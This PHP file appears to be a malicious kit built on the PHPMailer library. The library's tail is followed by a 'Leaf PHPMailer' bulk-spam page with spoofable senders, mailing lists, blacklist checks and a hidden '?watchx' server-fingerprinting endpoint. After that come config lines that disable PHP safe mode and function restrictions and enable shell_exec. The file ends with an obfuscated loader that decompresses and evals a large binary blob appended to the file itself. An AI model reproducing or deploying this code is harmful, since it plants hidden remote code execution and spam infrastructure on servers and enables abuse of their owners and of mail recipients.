                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$NYzB='file_g'.'et'.'_cont'.'ents';$idlh='ex'.'it';$TeVQ='gzuncom'.'press';$NXqx='s'.'tr'.'_repl'.'ace';$wJEM='subs'.'tr';eval($TeVQ($NXqx('ojyxavbgfu','>',$NXqx('iorhagdzmu','<',$wJEM($NYzB( __FILE__ ),-172467)))));$idlh(0);
?>
xtǮP֝_?m0sŜs4[=0iorhagdzmu0%R9{ojyxavbgfu_gs+7w)(?_\^}۾N?n^ޑ'm
ՐG+uZ?oϢ!}vl?mm0|Mm+t_9g Ϩ+$c
aS.iorhagdzmu)}#eS9{ojyxavbgfuojyxavbgfuOtwR:zNтxxsB~6ҳ4Z*!@-XRKA^YFnK sUPB8ޠYnpyXYMt߇Ȱiorhagdzmu~LߢmfVuj	~e n\=9f
벩W\ءׂiorhagdzmuoI¨7*SnN$P%XF%_9Ͻ$(s+3Xhj iޜ!!-0S@#Lv}1
V}F?iorhagdzmu|5:#@.MG0
IїQMˈAD8nD{ȣN	U:g%t2BU:|ɍbg'Lb8ʽ:4y_ʄi;9ƚ+E&8LZ9DDfK /9ׇ3vQPPHNFSCfA䪔X(^WV
$$Bі}#ojyxavbgfu#u/wEm,bdu*Y+h MJáUXlphqf*ehr}Ŵ*iAZvs{j/AGhM|w6{ˁP#t8yM8riorhagdzmusaiCbl@ӯtjo'mDhq	f19\*FʯPq֡m^iorhagdzmur45pҐ20}^pɜ=1a˱6Ey.lĲWQI:0ND۫ኞ{HwٖLP^ÂOu
p8G;/ìpiorhagdzmuDt$7$@v7QhqDGV܈8Z
#3"vꗎ;BcNuJU?A+5we#fiKOnc߳́0$_Lw|Ы/
H(|\@eo޻\5	gՇW#N0tN#twyܗ6u()wB4XOAP'ͯ/e֝WϢp~vՁ\Iciorhagdzmu
5ЍӃئu%9-8$ɧ[L_.tzxk%8;3{XƑi_5@+ 7`˯CWvxSLvx+?ҕ1I:Ȧ\S
~ojyxavbgfuX-y1pe +QG+i?u2X+ũmafvXAQzp~2ojyxavbgfu+
9^0΢썚kP(!t
].jـR
e.,_G^E
@iiJ=ea	{MA!pjqvޕ|qQ6=мz3#Fs
/~	%oHoZliorhagdzmu	T,}t%ojyxavbgfuU}pl'O-跞-1C/fr[i;_V\VX0vr:xX{[cZfنGj''wj:nVY}[Ah8
XJ1~?Anxy\i',Lgຍ"7*)hiӰH^ٍ4YFZ/Aozo#&YAq]iorhagdzmu&4HhWJ|Q-OkvP#4=[ҕojyxavbgfu'pn2ݤ&^ihT%diorhagdzmu}Ǳo|% 
5!iorhagdzmuWAN_hR=#3
p D`?xTH2@d|~gۥ]}	ojyxavbgfu˪_?̨73TT*3iorhagdzmu8ѻt:'8, ̬jCHuƹtWGC&-5x=9V%
-ojyxavbgfu:4j=a;;cIQO495y25(NZojyxavbgfuWL$g^vַJY޷
v9p۬+e̙guSN.t%'VQ 0H;ٚ%ڲTM_'G0{*]jNv螕jLbF`ojyxavbgfunOzH5LtDI:Ɲ7t%4NgBnA4	)-&:U~NCrQЍ,4ϸ9=e22*40%[ 	^#xnjY'vAh̵
xN{H$eۜچF`$|I7!}qF{'k
1􍸪jM1iorhagdzmu׈oەPh
6$D4&9iv(.*&`fAiorhagdzmuc:(~*4]R8WUz}7yҁfY6
Nql/Bc"Vsg7&GpS"2Kͤuo/]:2bNaH.137NŋKXJѣCOH%i}=;t
'~$nÑ;y#7,v`ySu}[YX?aaҪ8L[H| ?+
$#4ɜ
U@wYaWV $ݝ"d׸. S)
x'шƄDeԙaf˿!Vm]~X!ܯ!L6OkQH%NDL` 82sA!iorhagdzmu8diorhagdzmufǶEhwtKwb7r+Hc=#qvI{뚺ԠFܙR6_
NA)w0qТq9۸C잷~$`bV5Oa5QfT}n[M=n,Y*}
:aUbNO-ZGa}B)ez ɝGBsƕfezvd#21CRYy4j:}o`QԮ	=j!Me鵧4uڕߎdfzA˿ۛ^&`'ޟV
*4ulS||J}XG}($Xx;iorhagdzmu:o鋖P& iorhagdzmuf`pQ}1	]\q+l![M0mɰч"~+PxeGC25H\$dWF U{{Qģ1_ra)
Bx	2LMz##)ؕ0H/AwaS[U0;ƏYJYVU} K룦'N	ycn`|x,lʫϰ)]?3{޺m̚-)Ղ){2;+Pos'am91ą-[Pߜ%R@`8
@Xc5!J@kqD OWrtEB:B[IŐ0۞*~#):UQ9{
_E)d[pЊMǓ{iorhagdzmuM 4*YKt;iorhagdzmuW(v|W;ҹOxov蓗́?x~Xh^_M׶;UYG`MojyxavbgfuImL)1ItvE,iorhagdzmukܧ$׵ BbT8@αB=?;??׃io(T?^Ed0k/MlMojyxavbgfu &U(Pvo%Ob(9U̜clգV.V5UGom3,9)j\#e%Σ"BEYxs9)t?|׶%`=:\ȗY,swiCyb?.jiorhagdzmu5^P˥olX+)c9;fK?-Ht9~rmclD`z樮 TSF=xvފu͹ި:V,$U@u/}.%saDPf7c}5ng:SO
k`u?pdi6]b%Ypa/3P(!wzX"Z7JvfAr)=*BT$T"\cDfLǀГx:h0N4u]0G?:]]ci[\6tcZ*(8 7+A ~+p}l[(_%2,-Q|؏hU,/[1D_+|O-Ò|rhKiorhagdzmu׼Q
e-ښ$K\[T9gaX#C}q-\(VOs@ԏE's+,Oiorhagdzmu?j/_7޿ydgv[662/'] ZUuB8Ԓ;:ɘT$VC/)AdI_@%)$Ψ3Jςn2"Mnk.6|v3p*8#Yn7`܎zg$@׏a
_N@}D82ͶpEWp"Jh|02sYFTlHE=ӫV$CO4zNM:yCiorhagdzmu/)Q_]H	kO[$%$cޒRA~1slJʹ|$j/(?I[^Ѭ )LT
,^茦Z\G7ζF|WqdʹU]],jV(9s\vWA)WAxV sY_=/	TE^`6cu~rX#OxXxȤ?.pf7 7
zv4SN[,[7!Ȁ;TXT+积w8BE'wcaW$M|9H9b0f/W8iorhagdzmuDKs5VX)V8W\tm`}\|yMgY%y"䮡d'hܤ}Bi,(]Q"'ѳiorhagdzmuMajMXJOBK߅y0HG㫷U=.%	[_nքF~~!;J]L3iorhagdzmuٷ&SCw7uhOptLxmVjh.9hP1^4kfojyxavbgfu_5&!UiI&9y=-ILtAy31Đ`$̳7g~9|xes(G)+ш`ojyxavbgfugiorhagdzmuiorhagdzmue%*.r,veh;^
 dbnrڀ?UAJ
ofLWojyxavbgfu~&y[\Gk*~}{J4)r	9!57dnTM[iorhagdzmuojyxavbgfuI"WƂ}ũt@er/{z˗b+#Z
 f BӌB~[)Q%ȏ[`v-@hvvVJfl=pt%]خG4EKCXUМ@pojyxavbgfu6 񯖗7}Q-@wB1ۘiorhagdzmuㅳ/~FUZڅT/Rӣ֦JBI|3줿j1%I'A7
9@|ojyxavbgfu R6CzxzWOeȮD6
73gJJ#{{	I/˚4]XojyxavbgfuoP6{6.Y X(T_',-u܏IK`"9~!Un3ojyxavbgfu8և"۳Gٝ_eF$emi;ӯh6ͶpC	PΕX+ߟwN~bg0gU,$0;QҬh6axcGwy?ՔZNojyxavbgfuQLDr_w~u}{2lߜF{Fr41h"eChriorhagdzmuzu؏$_0ɥa%.M%[MiI
= 1_8"'P&aJ*
Y`^\tn	,ی?x׀v 	Gv]#d銍E,lP(9l:/wUԞ
tB@mfv=
HenWP6R7:}ZP0M_?;0;2Vԋ^pK
\'rnݖyDF{ldP"ykWR.S`&+8'|,
 s 2ǴXk&V"7)d&HcAeC:`nyPeGa9_ِ3xb_i#Kc׳'b@O9|G ĵ^ˏkjW2SKq THs/6^F9Kb:,* )dhUXuŀ]&QJ^"&!YQ|bC.Hi
eȎx]ӈ{%jfKߣ0Ӻ3Ђ3-5ɻz ų9WfAt@[ru;]uTYG ,J;qФ٩nAQV
8y}j; j4Jnv|A9QtSyU=ݏlCkiPlnc$*˪ d33`ױ-*)~bAmY1t |JrI~)B2rga*NH+{#=/~_o?1m/@	!y3r+SyPs],Ks&iorhagdzmu~zڭMycB{uJ}@u*X5xʟf֤8j297P斆hC,Y2~LLFsxs5q	5
OO~{evF#ojyxavbgfuqiq6~sF
P JtMtYv$/؞(2~ojyxavbgfuLLT%:?60ЧWϋ±iorhagdzmu$}?)aM:y'-˼k,iorhagdzmu9 ?;jЗ=B0*fJVH$q-26K
3RQKڗ9ZA1(uzOR.wOojyxavbgfu6`^$61U+ˉtc8qK\ē3T9jKE}@/]3S=ojyxavbgfuOݸpNkݗ]J+/k"o-sW%un قiyNz:2ÐlfW
aB 4:Ɯ[颵_fD(1}k;[tc%Jw\KLi
铉-lφj	։0Eߑkb:JWIlV+ɤW.I 60TZ/0J	6g_;7cojyxavbgfuk~+юtve-Pt^6:	S^1~	l%ZvsWC
L]2IhAojyxavbgfu06yq֧w]~jR~,/^JE86	ܩE&MXZ٘x=~Giorhagdzmu|\*@A/Qhs'y	ɽf9UIUojyxavbgfuU~})0vXV1)ZH.LBD=ҥ3yuC; ,`)`.os|4
Qe!_tvckS|j}hYlmJFҖ_
5@rVdFi]ZH\;$`D@;UojyxavbgfuMٳ-~VV({c?^z/͚K!}4a2/Kv/Prd|?D/~R5J`876W_z,.oY=EYX8~gN|G?Nk?pGs~ tN_"ojyxavbgfu1ϝzhagY-dBoiͪddH}[%~_1R5Yc+ǩ7WRXϖ=jnᵚ nBO$7DYuiorhagdzmuدaO`4 o5h-_s
~h-,B,
uG
1ѥ+dwU^?29L/"LVݣF 6p}
3ZGU,t΂y0Y
FB~Y
;4E1iorhagdzmulq1a,,\3}h=TyDojyxavbgfuOưb:fiorhagdzmur|i}%lՂ+gh0h!d.xVV']Fq&E@SXn0GeI	P$#mƕ}i|aڭۚ7$Jowݏojyxavbgfu3(K7,CGRL$+`~/׃"R'*?Je4g}aa8
3@p~#r86WZyl@?s7nHZYdÌ,iorhagdzmuAX"5W{dy?f?*{3ˏ!
!A3gb
-[9TrSuLTj3w`Ӹ{GLQp`cUZQ6-HZȵykGe*2c+kuy'|rr3ɴO+ғ;x NXZ3\g~^9$BJfbaK^Ӣh}	sRn9K]٨uu"3 Peh{հd&xǭxd|iorhagdzmux9
[yDŒiorhagdzmudl7)9Yy4ղ ojyxavbgfus}+lmxif]F0kp̝B=']=YQ0pH^IE4D1ha,XWאHӂ$i}vA&a+|~pojyxavbgfu!{҅oʕp]톰E=)ojyxavbgfuW9_%%|oM!g/ً"-ʐeZQdynVi%-kQjZܸ%ד9N*}%4R14$K5iV E	Ґ5Ji @Ɨ^x.
C*鍏dK.i(ɋO=@_h;j
W9M$hdiorhagdzmuZѱ#Ec,Z=|*qaO^'WUKs'ߠ	iorhagdzmu^*
^arR+vu^UՊwyG$z[WzK7$dQd҇%#~mt"(\7qqңU~NîwŴpm
hOЋd{tm-~a9D	Y7K8s#!j 8IExn`㋈-{Y./:sQGrӋ$rqb'AX?/\Kܗq]Re_*Oz	ǂJPm.a8,	(؝ojyxavbgfunPsqҋH1↚+4qz(mtm.Y]	|UG*DnpA+_ \_wuws`5/qI
ig]WVJ7ࡑZ89Q~@bTݰWħЇnb7m*фH{F +jk
MB!
}گ#(6ĢF$",ade1$Q*BdTR~"Cl-PftDY
.ϞNxȰ%o?X+iцojyxavbgfuX~SK ^Djh6$kKr8TAn]siorhagdzmuv55+m,_BiS0 -lrizsE.
1MrmFQOg]spHR"%0W8=1#]hY]̄=Ć?m_Ula׌Z~Ftr1},"HዹWBj2Q
=ojyxavbgfuޏj ~
+/EA
_
Z(^'UŐ1Q'8e]GeɦY$=#fzЂ?YISMpI1
oZhvd' 4!^9raTjNXZ隐BSمS^͡|puJSLqL{(ੲ	Z~l6V,OiքԲwZ1L_X1_jK:y:yf.e^C5gtiD]a~a@lojyxavbgfus.r
I3"*@s"8Fݍ1@t$B
ڱJ¦HJUǐU¾1RF 숡3~d'{F}Y׊I
^'M,BpeW3%9:E!@)C3}IU:qXPojyxavbgfut:yV;Ep_XzCZw(41IP|$ZWAyX^TeCb#QkGՐ*߯s7AZR}ZDg2O6Q0
"kYYOa)W
 rтq14l%\!JH	eLv3&=N(- WT`
BEW.~e+jmʗ_e	n3P'Od0v]r,ojyxavbgfu*
^8搎/Hpa3skceK_~Dh]zuB5뒧N
{F_J2O zYGdYƔ%Lʛ64IڇLQHU#dD9cr3gvEdy?,Gh]jŚ϶Nsyō?Qq6bv'Yi(hz Aoa6d.e[kQZ|lk4Q2H(~H t"(:/aT? ,$9YlLqMTsKΧĭHJ3	2LA 
̪gE\^*Ǎ^`jTHl˽cYy搪*m
H+d@[ӯt{avP{ur.Qߍ G'+61/Ta
XU%sdQBL`ojyxavbgfusu^΍V]O?LӔm;NU	
Ѐj9-Āϳ@y0&a/=Dc H7uC2W(e"e4ȦGeڋT?zS(]v!2O~TUTNG0c-ֻzr=yҀ-3GcEͫcqm%  6DdtH%;ojyxavbgfu2tzZ_lѡoIuxܴ3	?I
_/;iorhagdzmua5s9nY-lq;t44,799iorhagdzmu(Xͨ/F#8|WgŃӟ\3}Y'iorhagdzmu?#b~f-g|pC8K,JojyxavbgfuRSψxpDYCb	z&s(?ojyxavbgfux3oG9E/xu*;LK:3ރgԠsYӱ;iorhagdzmuOzT--/P#Q+2g\1sj]]_뿔4$W_O'o۾qa^śTd_E֏p"o`-y?l	$~17ϔl|29P^SĭV@=ٿ~1eYs?@ojyxavbgfuK
	
`_O!y1FC|ArR_F}*ĺy']{.mlho)
6[RCIAY[
hV_{)G\nx` 罪&GIlA
$Ѩ]5gvfꜴv['+2fE\G[hu\-$Yz`s{DyU&~\!Ij!K4H1¯8'2Y0֒1I7iorhagdzmujj`#jj
Qs0yw5IPt _,XΧh(,4:9׭|@
ǱvjawRf?]AWa9xgfCm^aiorhagdzmu[T3XjYf[I@{O+\Qjڹ	:-iDv2Lm'#ɞw͢OCOJ?lү8hZXlZeadjsi݂`b
6K1ᴃpӑ2%8SnIȱ,׋mE2
^9p'7MEW" xү
p8~ߺQe(Y:@F,e
.$.y#OT=/0Ӑ=*l#$UPJF5iorhagdzmuvI֧IUA[=gV=є8Ŋ7\ƭ[.x$ U8HjerB
o}ج~}-6|[`lbojyxavbgfu7ʋ Om-U

l7W\[=n	:65,HXP5w`	m*f`Y&Oȍ	[|+L顾;3hH{7ak]0
yYa+c}/Ӭ0f2`Fe9B.ojyxavbgfu3ib7T"HOw\/֯b_}`8&˲Fa@neF/`5?fd
1!ɱT	?qum}ikh:J#i/XWGmoP
6o8 y
G)O0"BlQU dTlS3ך]z~a&[f*kTE0Rojyxavbgfu*
4-m;_V ojyxavbgfuU'V8؁ma}:_[J;,育ojyxavbgfuIkF|4,C9PQ73A)^f*3XIVUn
C
4aURR/~Rojyxavbgfur)%oŊ\YHojyxavbgfu}zB
/,[ٟdD4GTWiorhagdzmu񾌄:; DǛA^
M4r{AZ3$7 с\Jhs8
5i3'k	-\!-Q} EvG@R :v2~,6Kƾz":~"R)mKT!&j[
pp;;uӅ#«{w,n^ Ʀa"k՚ی&es̲)|CV;ZQ{wςAÊL_wS]Cl#,r+V}KtUM+.Dwv#=(E(Yyjh
 dDu_WojyxavbgfuV?M(F35PNIojyxavbgfuFaA?`/}2\SZ	uxq`\5G1u"ezy0~6WȟxȻzs%jy\BL"9ȊpHd3*{*_9"oZ7G&b5F7 y$2i%gުm&Xb] v8t7W}ɣq7SgzR5@ڣ4w+ƼI9,6Io=	G29iorhagdzmu-9 ֠ޓYAc-IbZ.@1
Axt`/񫿳ţ\giorhagdzmucF{T(8fu?84m"ԯk:i9F{MojyxavbgfuGJDsEfZ_g
VAz%l8ƞ.LTCjW
1UAW0Zb:C-m*Bo]1}LDݔD
9=%.,PG ݗDsv8A&A%}jӑ=̒^ΝV0zz|x7'dn%|7G_AFBm-WH.wҡn		~181v#wf.?iorhagdzmu.uP1yX}ϝ;qxMŴH4^&`O-p} {W MH^_d@ȧã`FojyxavbgfufLjߪB,468/@]m{q_N+%~ɟ80YB! iorhagdzmu5{.޷Y'kG[( S',6[0+;Ƈ/
qmW($z
bj	?/(Y/iorhagdzmu@#Ts(u, \ I:GK ?xnAP9.bSSBznC`P75OpcrkHKɳ)~GU6gL
c`Ղ92o[Ϳ$W3JQL
S}@xCB?1%wk fD*zP1z'rU0B]ojyxavbgfu,ulaGrޅt/ hiorhagdzmuiorhagdzmu:
qF{(ojyxavbgfuk;g(Wojyxavbgfuޝ:ƹ')-kab bW
j:sʗ,S!~-:ƊWirr3d'~Yu=.` +WE:a~6-$DʇyCi~j_
hhR7}kojyxavbgfu}1=aAANWeҗiHJ_伡fV\niorhagdzmu]98}iAjqEKJʨIoi
۠8P}DbC0-(Y"݊6:ԡ1
w/|%0uLTᭋdLĆf6 Мʢz
ojyxavbgfuHfF}!_͔J)a*g8^XԜt#ŐtaekA&$SD-
B`Jd8vFRvpl9U?4nExgZo"RM 1sʦSRnD0\gfmг(ͪu;^CW܁0+zVҗ*ʁ`rD[78,0rT~:?!nC_!."H­pfFkt$	
hOA@^Zz.nziorhagdzmu)F?"҄Q]bȐi$LFl̩Gݪe܆P^PHojyxavbgfuFT=עp?"ojyxavbgfuؽdGn9S{m.
61uo=X~mc E5|`*&uyM6L3p6JMpgg2jz#ojyxavbgfu؅YX2 '\A	ypX$YvO1b?ӱiorhagdzmuSzWo}nj9
p].j;-͟+bBQ0	?/+3
7-꾍?nSh$ 7Qk^vlZy[
A6d@־ ]`.Kj|"%MNс FuKw&k*I$mz
uk}L̞iorhagdzmu{Eojyxavbgfu	AV0H9Nej$vf/GCknbgjV(ecq䚑-M,r5jX2u]HUB1])e|)FǬ$I-PbSY2wE!Uwn2wyKXfB]U:h*gtľ0`Z|C3BkR!_߫jM)@ϭojyxavbgfuݕq?e4g%vtGjAFƼ"*:"`{7sy\eCvL[WN|xȬ{LglF|Ѩ1,mw 4͎v7D}\\nvh杘r|
*KDH*me*6tfVKXL$kA@
j|;
'*b-OqE"t=.	#ۑKUƇ*E	 x[Iv-!
